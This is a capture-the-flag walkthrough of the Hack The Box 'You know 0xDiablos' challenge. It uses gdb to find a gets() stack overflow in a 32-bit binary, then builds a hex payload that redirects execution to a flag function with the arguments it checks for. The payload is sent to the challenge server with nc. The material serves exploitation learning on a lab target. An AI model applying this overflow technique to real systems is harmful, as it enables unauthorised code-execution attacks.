This is a walkthrough of the You know 0xDiablos Hack The Box challenge. The challenge is rated as Easy, and is an example of a simple buffer overflow vulnerability.
Tools
The following tools are used in this walkthrough:
Getting Started
For this challenge we are provided with a server IP address and port to exploit along with a file to download an analyze. After downloading and unpacking the file called vuln, we can see it’s a binary executable for 32bit x86 Linux systems:
# file ./vuln
./vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
So, if we try running the file (after making it executable) we find that it prints a message, waits for input from the user, then echoes the input back to the screen:
# ./vuln
You know who are 0xDiablos:
hello
hello
And if we use telnet to connect to the server:port provided, the behaviour is similar:
# telnet <server> <port>
Trying <server>...
Connected to <server>.
Escape character is '^]'.
You know who are 0xDiablos:
hello
hello
Connection closed by foreign host.
From this we can assume that the executable we’ve downloaded is the same as the one hosted on the remote server. Therefore we can analyze the local file and test potential exploits; and once we’ve perfected it, exploit the remote server in a single attempt. This is useful, since if we were hammering the remote server with multiple attempts to find a vulnerability, it could alert them of our efforts and they could take action to prevent us from progressing further.
Taking a Look Inside
So, let’s take a look under the hood of the executable. We’ll use gdb (the GNU Project Debugger) to disassemble vuln and inspect how it works:
# gdb ./vuln
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
Tip: By default gdb uses AT&T assembly syntax. I will be using Intel syntax in this document. To change modes for the current session, enter the following command after starting gdb:
set disassembly-flavor intel
To set Intel syntax as the default mode for future sessions, you can add the line in your~/.gbdinit
. This will be read each time gdb is run.
Let’s take a look at the functions in vuln by using the info functions
command:
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 gets@plt
0x08049050 fgets@plt
0x08049060 getegid@plt
0x08049070 puts@plt
0x08049080 exit@plt
0x08049090 __libc_start_main@plt
0x080490a0 setvbuf@plt
0x080490b0 fopen@plt
0x080490c0 setresgid@plt
0x080490d0 _start
0x08049110 _dl_relocate_static_pie
0x08049120 __x86.get_pc_thunk.bx
0x08049130 deregister_tm_clones
0x08049170 register_tm_clones
0x080491b0 __do_global_dtors_aux
0x080491e0 frame_dummy
0x080491e2 flag
0x08049272 vuln
0x080492b1 main
0x08049330 __libc_csu_init
0x08049390 __libc_csu_fini
0x08049391 __x86.get_pc_thunk.bp
0x08049398 _fini
From this we can see the following user functions might be of interest:
0x080491e0 frame_dummy
0x080491e2 flag
0x08049272 vuln
0x080492b1 main
First, let’s inspect the main function, since that’s the user code starts when running the executable. We’ll use the disass (disassemble) function to do this:
(gdb) disass main
Dump of assembler code for function main:
0x080492b1 <+0>: lea ecx,[esp+0x4]
0x080492b5 <+4>: and esp,0xfffffff0
0x080492b8 <+7>: push DWORD PTR [ecx-0x4]
0x080492bb <+10>: push ebp
0x080492bc <+11>: mov ebp,esp
0x080492be <+13>: push ebx
0x080492bf <+14>: push ecx
0x080492c0 <+15>: sub esp,0x10
0x080492c3 <+18>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x080492c8 <+23>: add ebx,0x2d38
0x080492ce <+29>: mov eax,DWORD PTR [ebx-0x4]
0x080492d4 <+35>: mov eax,DWORD PTR [eax]
0x080492d6 <+37>: push 0x0
0x080492d8 <+39>: push 0x2
0x080492da <+41>: push 0x0
0x080492dc <+43>: push eax
0x080492dd <+44>: call 0x80490a0 <setvbuf@plt>
0x080492e2 <+49>: add esp,0x10
0x080492e5 <+52>: call 0x8049060 <getegid@plt>
0x080492ea <+57>: mov DWORD PTR [ebp-0xc],eax
0x080492ed <+60>: sub esp,0x4
0x080492f0 <+63>: push DWORD PTR [ebp-0xc]
0x080492f3 <+66>: push DWORD PTR [ebp-0xc]
0x080492f6 <+69>: push DWORD PTR [ebp-0xc]
0x080492f9 <+72>: call 0x80490c0 <setresgid@plt>
0x080492fe <+77>: add esp,0x10
0x08049301 <+80>: sub esp,0xc
0x08049304 <+83>: lea eax,[ebx-0x1fc8]
0x0804930a <+89>: push eax
0x0804930b <+90>: call 0x8049070 <puts@plt>
0x08049310 <+95>: add esp,0x10
0x08049313 <+98>: call 0x8049272 <vuln>
0x08049318 <+103>: mov eax,0x0
0x0804931d <+108>: lea esp,[ebp-0x8]
0x08049320 <+111>: pop ecx
0x08049321 <+112>: pop ebx
0x08049322 <+113>: pop ebp
0x08049323 <+114>: lea esp,[ecx-0x4]
0x08049326 <+117>: ret
End of assembler dump.
Let’s take a closer look at some of the call instructions. At 0x0804930b
there is a call to puts
, which we can assume prints the “You know who…” message. Then at 0x08049313
there is a call to a user function, vuln
. So let’s look at the vuln function:
(gdb) disass vuln
Dump of assembler code for function vuln:
0x08049272 <+0>: push ebp
0x08049273 <+1>: mov ebp,esp
0x08049275 <+3>: push ebx
0x08049276 <+4>: sub esp,0xb4
0x0804927c <+10>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x08049281 <+15>: add ebx,0x2d7f
0x08049287 <+21>: sub esp,0xc
0x0804928a <+24>: lea eax,[ebp-0xb8]
0x08049290 <+30>: push eax
0x08049291 <+31>: call 0x8049040 <gets@plt>
0x08049296 <+36>: add esp,0x10
0x08049299 <+39>: sub esp,0xc
0x0804929c <+42>: lea eax,[ebp-0xb8]
0x080492a2 <+48>: push eax
0x080492a3 <+49>: call 0x8049070 <puts@plt>
0x080492a8 <+54>: add esp,0x10
0x080492ab <+57>: nop
0x080492ac <+58>: mov ebx,DWORD PTR [ebp-0x4]
0x080492af <+61>: leave
0x080492b0 <+62>: ret
End of assembler dump.
Here we see the call to gets
at 0x08049291
then the call to puts
at 0x080492a3
, which we can assume are the prompt for and echo of the user input. Importantly, prior to the call to gets
we see the setup of the variable where the user input will go. The buffer size reserved for the variable is defined as 180 characters (0xb4 = 180). This seems like something we can try to exploit.
Trying to Break It
For out test, let’s create a text file called input.txt
with 200 A’s in it then pipe the file in as input to the executable. This will fill up the 180 byte buffer and beyond. We can do this right from gdb by using the run command:
(gdb) run < input.txt
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
The result is a segmentation fault and we can see that the error occurred at 0x41414141
(note that the ASCII code for an A is 0x41). This looks promising, since we should be able to put an arbitrary address somewhere into our input to cause the program to execute code at the given address.
Let’s verify that the buffer overflow is happening where we assumed by running the command again, but first let’s set a breakpoint at the start of the vuln
function by using the break command:
(gdb) break *vuln
Breakpoint 1 at 0x8049272
And when we run the executable with the piped input again, the execution will stop at the start of the vuln function and a little arrow (=>) shows where we are in the execution:
(gdb) run < input.txt
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:
Breakpoint 1, 0x08049272 in vuln ()
(gdb) disass vuln
Dump of assembler code for function vuln:
=> 0x08049272 <+0>: push ebp
0x08049273 <+1>: mov ebp,esp
0x08049275 <+3>: push ebx
0x08049276 <+4>: sub esp,0xb4
0x0804927c <+10>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x08049281 <+15>: add ebx,0x2d7f
0x08049287 <+21>: sub esp,0xc
0x0804928a <+24>: lea eax,[ebp-0xb8]
0x08049290 <+30>: push eax
0x08049291 <+31>: call 0x8049040 <gets@plt>
0x08049296 <+36>: add esp,0x10
0x08049299 <+39>: sub esp,0xc
0x0804929c <+42>: lea eax,[ebp-0xb8]
0x080492a2 <+48>: push eax
0x080492a3 <+49>: call 0x8049070 <puts@plt>
0x080492a8 <+54>: add esp,0x10
0x080492ab <+57>: nop
0x080492ac <+58>: mov ebx,DWORD PTR [ebp-0x4]
0x080492af <+61>: leave
0x080492b0 <+62>: ret
End of assembler dump.
Then we’ll step through the code using the ni (next instruction) command in gdb until we hit the segmentation fault:
Tip: Pressing enter with no command in gdb will execute the previous command again. This way we only have to enter the ni command once, and then simply press enter to execute subsequent instructions.
(gdb) ni
0x08049273 in vuln ()
(gdb)
0x08049275 in vuln ()
(gdb)
0x08049276 in vuln ()
(gdb)
0x0804927c in vuln ()
(gdb)
0x08049281 in vuln ()
(gdb)
0x08049287 in vuln ()
(gdb)
0x0804928a in vuln ()
(gdb)
0x08049290 in vuln ()
(gdb)
0x08049291 in vuln ()
(gdb)
0x08049296 in vuln ()
(gdb)
0x08049299 in vuln ()
(gdb)
0x0804929c in vuln ()
(gdb)
0x080492a2 in vuln ()
(gdb)
0x080492a3 in vuln ()
(gdb)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x080492a8 in vuln ()
(gdb)
0x080492ab in vuln ()
(gdb)
0x080492ac in vuln ()
(gdb)
0x080492af in vuln ()
(gdb)
0x080492b0 in vuln ()
(gdb)
0x41414141 in ?? ()
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
We see that the last “real” command we execute is at 0x080492b0
which is the ret
instruction. This means that we clobbered the return address for the call to the vuln
function from main
with our input.
So, let’s back up a bit to look at the memory before and after we clobber it. We’ll keep the breakpoint in place and re-run the application and look at the stack frame with the info frame
command:
(gdb) run < input.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:
Breakpoint 1, 0x08049272 in vuln ()
(gdb) info frame
Stack level 0, frame at 0xffffd460:
eip = 0x8049272 in vuln; saved eip = 0x8049318
called by frame at 0xffffd490
Arglist at 0xffffd458, args:
Locals at 0xffffd458, Previous frame's sp is 0xffffd460
Saved registers:
eip at 0xffffd45c
(gdb)
At this point we are starting in the vuln
function and the stack frame shows the saved eip
as 0x8049318
. This is the address we are to return to after completing the function. If we look at the current value of the registers with the info registers command we can see where that address is stored:
(gdb) info registers
eax 0x1d 29
ecx 0xf7fa29b8 -134600264
edx 0x1 1
ebx 0x804c000 134529024
esp 0xffffd45c 0xffffd45c
ebp 0xffffd478 0xffffd478
esi 0x8049330 134517552
edi 0xf7ffcb80 -134231168
eip 0x8049272 0x8049272 <vuln>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
This shows that esp
(the stack pointer) is 0xffffd45c
. If we look at what is stored at the address, it matches the saved eip
we saw in the stack frame.
(gdb) x/8x $esp
0xffffd45c: 0x08049318 0xffffd4a0 0xf7fc1678 0xf7fc1b40
0xffffd46c: 0x00000000 0xffffd490 0xf7fa0ff4 0x00000000
(gdb)
If we step through the function until we get to the call to the gets for the input and then look at the same memory address, we’ll see that the address has indeed been clobbered with A’s:
(gdb) ni
0x08049273 in vuln ()
(gdb)
0x08049275 in vuln ()
(gdb)
0x08049276 in vuln ()
(gdb)
0x0804927c in vuln ()
(gdb)
0x08049281 in vuln ()
(gdb)
0x08049287 in vuln ()
(gdb)
0x0804928a in vuln ()
(gdb)
0x08049290 in vuln ()
(gdb)
0x08049291 in vuln ()
(gdb)
0x08049296 in vuln ()
(gdb) x/8x 0xffffd45c
0xffffd45c: 0x41414141 0x41414141 0x41414141 0xf7fc1b00
0xffffd46c: 0x00000000 0xffffd490 0xf7fa0ff4 0x00000000
(gdb)
Looking for an Exploit
Ok, so now we know where to put an arbitrary address, but what address do we put in there? We still haven’t looked at the functions frame_dummy
and flag
, let’s take a look at each of these to see if we can use them in our exploit.
frame_dummy
doesn’t appear to do much of anything:
(gdb) disass frame_dummy
Dump of assembler code for function frame_dummy:
0x080491e0 <+0>: jmp 0x8049170 <register_tm_clones>
End of assembler dump.
But the flag
function has quite a bit to it:
(gdb) disass flag
Dump of assembler code for function flag:
0x080491e2 <+0>: push ebp
0x080491e3 <+1>: mov ebp,esp
0x080491e5 <+3>: push ebx
0x080491e6 <+4>: sub esp,0x54
0x080491e9 <+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x080491ee <+12>: add ebx,0x2e12
0x080491f4 <+18>: sub esp,0x8
0x080491f7 <+21>: lea eax,[ebx-0x1ff8]
0x080491fd <+27>: push eax
0x080491fe <+28>: lea eax,[ebx-0x1ff6]
0x08049204 <+34>: push eax
0x08049205 <+35>: call 0x80490b0 <fopen@plt>
0x0804920a <+40>: add esp,0x10
0x0804920d <+43>: mov DWORD PTR [ebp-0xc],eax
0x08049210 <+46>: cmp DWORD PTR [ebp-0xc],0x0
0x08049214 <+50>: jne 0x8049232 <flag+80>
0x08049216 <+52>: sub esp,0xc
0x08049219 <+55>: lea eax,[ebx-0x1fec]
0x0804921f <+61>: push eax
0x08049220 <+62>: call 0x8049070 <puts@plt>
0x08049225 <+67>: add esp,0x10
0x08049228 <+70>: sub esp,0xc
0x0804922b <+73>: push 0x0
0x0804922d <+75>: call 0x8049080 <exit@plt>
0x08049232 <+80>: sub esp,0x4
0x08049235 <+83>: push DWORD PTR [ebp-0xc]
0x08049238 <+86>: push 0x40
0x0804923a <+88>: lea eax,[ebp-0x4c]
0x0804923d <+91>: push eax
0x0804923e <+92>: call 0x8049050 <fgets@plt>
0x08049243 <+97>: add esp,0x10
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>: jne 0x8049269 <flag+135>
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>: jne 0x804926c <flag+138>
0x08049258 <+118>: sub esp,0xc
0x0804925b <+121>: lea eax,[ebp-0x4c]
0x0804925e <+124>: push eax
0x0804925f <+125>: call 0x8049030 <printf@plt>
0x08049264 <+130>: add esp,0x10
0x08049267 <+133>: jmp 0x804926d <flag+139>
0x08049269 <+135>: nop
0x0804926a <+136>: jmp 0x804926d <flag+139>
0x0804926c <+138>: nop
0x0804926d <+139>: mov ebx,DWORD PTR [ebp-0x4]
0x08049270 <+142>: leave
0x08049271 <+143>: ret
End of assembler dump.
Now, let’s edit our input.txt file to put the starting address of the flag function at the address where it will be picked up as the saved eip.
Tip: Intel uses little endian memory storage. So to store the address
0x080491e2
, we would store the valuee2910408
into memory.Tip: To edit files in vi in hex, used the command
:%!xxd
and:%!xxd -r
to go back to normal mode.
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000b0: 4141 4141 4141 4141 4141 4141 e291 0408 AAAAAAAAAAAA....
000000c0: 4141 4141 4141 4141 4141 4141 0a AAAAAAAAAAAA.
If we re-run with the modified input.txt file, we see that the application does enter the flag function and continues to run until completion.
(gdb) run < input.txt
Starting program: /root/vuln < input.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:
Breakpoint 1, 0x08049272 in vuln ()
(gdb) ni
0x08049273 in vuln ()
(gdb)
0x08049275 in vuln ()
(gdb)
0x08049276 in vuln ()
(gdb)
0x0804927c in vuln ()
(gdb)
0x08049281 in vuln ()
(gdb)
0x08049287 in vuln ()
(gdb)
0x0804928a in vuln ()
(gdb)
0x08049290 in vuln ()
(gdb)
0x08049291 in vuln ()
(gdb)
0x08049296 in vuln ()
(gdb)
0x08049299 in vuln ()
(gdb)
0x0804929c in vuln ()
(gdb)
0x080492a2 in vuln ()
(gdb)
0x080492a3 in vuln ()
(gdb)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAA
0x080492a8 in vuln ()
(gdb)
0x080492ab in vuln ()
(gdb)
0x080492ac in vuln ()
(gdb)
0x080492af in vuln ()
(gdb)
0x080492b0 in vuln ()
(gdb)
0x080491e2 in flag ()
(gdb)
0x080491e3 in flag ()
(gdb)
0x080491e5 in flag ()
(gdb)
0x080491e6 in flag ()
(gdb)
0x080491e9 in flag ()
(gdb)
0x080491ee in flag ()
(gdb)
0x080491f4 in flag ()
(gdb)
0x080491f7 in flag ()
(gdb)
0x080491fd in flag ()
(gdb)
0x080491fe in flag ()
(gdb)
0x08049204 in flag ()
(gdb)
0x08049205 in flag ()
(gdb)
0x0804920a in flag ()
(gdb)
0x0804920d in flag ()
(gdb)
0x08049210 in flag ()
(gdb)
0x08049214 in flag ()
(gdb)
0x08049216 in flag ()
(gdb)
0x08049219 in flag ()
(gdb)
0x0804921f in flag ()
(gdb)
0x08049220 in flag ()
(gdb)
Hurry up and try in on server side.
0x08049225 in flag ()
(gdb)
0x08049228 in flag ()
(gdb)
0x0804922b in flag ()
(gdb)
0x0804922d in flag ()
(gdb)
Taking a closer look at the sequence of instructions in the flag function, we see there is a call to fopen
at 0x08049205
a compare of something at 0x08049210
then a call to puts at 0x08049220
and finally a call to exit at 0x0804922d
. We’ll take a closer look at the call to fopen and see what’s going on there. It looks like eax
points to the value that fopen uses to open a file, looking at what eax
points at we see what looks like a filename:
(gdb) x/8c $eax
0x804a00a: 102 'f' 108 'l' 97 'a' 103 'g' 46 '.' 116 't' 120 'x' 116 't'
Let’s create a file called “flag.txt” in our working directory, re-run the application and see what happens. Now we see that the branch is taken after the compare at 0x08049210
and finally reaches a segmentation fault at the end of the flag function.
.
.
.
(gdb)
0x08049210 in flag ()
(gdb)
0x08049214 in flag ()
(gdb)
0x08049232 in flag ()
(gdb)
0x08049235 in flag ()
(gdb)
0x08049238 in flag ()
(gdb)
0x0804923a in flag ()
(gdb)
0x0804923d in flag ()
(gdb)
0x0804923e in flag ()
(gdb)
0x08049243 in flag ()
(gdb)
0x08049246 in flag ()
(gdb)
0x0804924d in flag ()
(gdb)
0x08049269 in flag ()
(gdb)
0x0804926a in flag ()
(gdb)
0x0804926d in flag ()
(gdb)
0x08049270 in flag ()
(gdb)
0x08049271 in flag ()
(gdb)
0x41414141 in ?? ()
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
We’re not going to worry about the segfault right now, let’s just follow the instruction path. We see a call to fgets
at 0x0804923e
and then two more compares at 0x08049246
and 0x0804924f
. We see a call to printf
at 0x0804925f
, but we don’t reach that instruction due to the branch after the compares. If we can get that printf to execute, this would likely give us the contents of the flag.txt file.
.
.
.
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>: jne 0x8049269 <flag+135>
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>: jne 0x804926c <flag+138>
.
.
.
So, we need the values pointed to by ebp+8 and ebp+12 to be 0xdeadbeef
and 0xc0ded00d
respectively. We can see that this points at the end of our long A’s input, so let’s tack these values on to the end of our input and see what happens (Remember to put them in little-endian format).
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000b0: 4141 4141 4141 4141 4141 4141 e291 0408 AAAAAAAAAAAA....
000000c0: 4141 4141 efbe adde 0dd0 dec0 0a AAAA.........
Running this input, we see that we’ve passed those branches and the printf
at 0x0804925f
is executed and the contents of flag.txt is displayed.
.
.
.
(gdb)
0x08049246 in flag ()
(gdb) x/16x $ebp
0xffffd45c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd464: 0xef 0xbe 0xad 0xde 0x0d 0xd0 0xde 0xc0
(gdb) ni
0x0804924d in flag ()
(gdb)
0x0804924f in flag ()
(gdb)
0x08049256 in flag ()
(gdb)
0x08049258 in flag ()
(gdb)
0x0804925b in flag ()
(gdb)
0x0804925e in flag ()
(gdb)
0x0804925f in flag ()
(gdb)
test
0x08049264 in flag ()
(gdb)
0x08049267 in flag ()
(gdb)
0x0804926d in flag ()
(gdb)
0x08049270 in flag ()
(gdb)
0x08049271 in flag ()
(gdb)
0x41414141 in ?? ()
(gdb)
Now let’s try out exploit against the online version of the application to see if we can get it to give us the contents of the flag.txt file hosted on the remote server:
# echo "$(cat input.txt)" | nc <server> <port>
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
HTB{<flag string>}
#
Huzzah! We can see the output from the remote system. We can now submit this flag to complete the challenge.